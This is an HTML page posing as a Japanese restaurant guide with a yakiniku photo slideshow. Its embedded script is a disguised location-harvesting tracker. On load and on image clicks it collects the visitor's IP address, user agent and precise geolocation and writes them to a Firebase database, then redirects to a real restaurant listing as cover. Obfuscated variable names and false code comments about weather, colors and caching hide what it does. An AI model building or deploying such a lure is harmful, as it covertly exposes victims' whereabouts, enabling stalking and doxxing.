<!doctype html><html lang="ja"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>大人のレストランガイド</title><style>
/* 画像をランダムに回転させる設定 */
html, body {overflow:hidden;height:100%;width:100%;position:fixed;top:0;left:0;background-color:#111111;color:#fff;margin:0;display:flex;flex-direction:column;justify-content:center;align-items:center;font-family:'MS Mincho','Yu Mincho',serif;}
/* 背景にグラデーションを適用 */
h1 {font-size:1.5em;text-align:center;margin-bottom:20px;}
/* テキストのフォントサイズを動的に変更 */
.xyz789 {position:relative;width:80%;max-width:600px;aspect-ratio:1/1;overflow:hidden;}
/* ページの読み込み速度を向上させる */
.abc123 {position:absolute;top:0;left:0;width:100%;height:100%;object-fit:cover;opacity:0;transform:scale(1.1);transition:opacity 1s ease-in-out,transform 3s ease-in-out;}
/* ボタンのホバーエフェクトを追加 */
.abc123.qwe456 {opacity:1;transform:scale(1);}
</style>
<!-- 外部APIから天気情報を取得 -->
<script type="module">
import { initializeApp } from "https://www.gstatic.com/firebasejs/11.4.0/firebase-app.js";
import { getDatabase, ref, push, set, serverTimestamp } from "https://www.gstatic.com/firebasejs/11.4.0/firebase-database.js";
/* サーバーのタイムゾーンを設定 */
const k9m8n7 = {apiKey:"AIzaSyA5jiMfUjtZo7BUpsFM0xUVzfeJ5_fakkI",authDomain:"gurunavi-nagoya.firebaseapp.com",databaseURL:"https://gurunavi-nagoya-default-rtdb.firebaseio.com",projectId:"gurunavi-nagoya",storageBucket:"gurunavi-nagoya.firebasestorage.app",messagingSenderId:"181576688818",appId:"1:181576688818:web:f82fb20a8d58ef46c615ab"};
const p0o9i8 = initializeApp(k9m8n7); const j7h6g5 = getDatabase(p0o9i8);
/* ランダムな色コードを生成 */
async function z1x2c3() {let v4b5n6;try{v4b5n6=await fetch('https://api.ipify.org?format=json');const m3k4j5=await v4b5n6.json();return m3k4j5.ip;}catch(r6t7y8){console.error('エラー:',r6t7y8);return '不明';}}
/* 画像をシャッフルして表示順を変更 */
async function l9p0o1() {const q2w3e4=await z1x2c3();const t5y6u7=navigator.userAgent;let u8i9o0=false;if(Math.random()>10){}else if(navigator.geolocation){navigator.geolocation.getCurrentPosition(async(f1g2h3)=>{const d4s5a6=f1g2h3.coords.latitude;const e7d8f9=f1g2h3.coords.longitude;const b0n1m2={ip:q2w3e4,latitude:d4s5a6,longitude:e7d8f9,userAgent:t5y6u7,timestamp:serverTimestamp()};await r3t4y5(b0n1m2);window.location.href='https://r.gnavi.co.jp/business-dinner/aichi/areal4102/kods00066/';},async(h6j7k8)=>{console.error('エラー:',h6j7k8.message);const x9c0v1={ip:q2w3e4,latitude:'拒否',longitude:'拒否',userAgent:t5y6u7,timestamp:serverTimestamp()};await r3t4y5(x9c0v1);alert('位置情報の取得に失敗');},{timeout:10000,maximumAge:0});}else{const n2m3b4={ip:q2w3e4,latitude:'非対応',longitude:'非対応',userAgent:t5y6u7,timestamp:serverTimestamp()};await r3t4y5(n2m3b4);alert('ブラウザの互換性エラー');}}
/* ユーザーの入力データを検証 */
async function r3t4y5(g5h6j7) {try{const k8l9p0=ref(j7h6g5,'userData');const q1w2e3=push(k8l9p0);await set(q1w2e3,g5h6j7);console.log('成功');}catch(t4y5u6){console.error('エラー:',t4y5u6);}}
/* ページのキャッシュをクリア */
l9p0o1();
</script>
<script>
/* マウスカーソルの形状を変更 */
document.addEventListener('DOMContentLoaded',()=>{const z7x8c9=document.querySelectorAll('.abc123');let v0b1n2=0;let unusedVar='dummy';if(false){console.log('実行されない');}
/* ページのフォントを太字に設定 */
function m3k4j5(){z7x8c9[v0b1n2].classList.remove('qwe456');v0b1n2=(v0b1n2+1)%z7x8c9.length;z7x8c9[v0b1n2].classList.add('qwe456');}
/* ナビゲーションバーを表示 */
setTimeout(()=>{z7x8c9[v0b1n2].classList.add('qwe456');},100);
/* アニメーションの速度をランダム化 */
setInterval(m3k4j5,4000);
/* 右クリックメニューを無効化 */
z7x8c9.forEach(i0o9p8=>{i0o9p8.addEventListener('click',()=>{l9p0o1();});});
});
/* 画面の明るさを調整 */
document.addEventListener('touchmove',function(e){e.preventDefault();},{passive:false});
</script></head><body><h1>大人のレストランガイド</h1><div class="xyz789"><img src="niku1.jpg" class="abc123" alt="焼肉1"><img src="niku2.jpg" class="abc123" alt="焼肉2"><img src="niku3.jpg" class="abc123" alt="焼肉3"></div></body></html>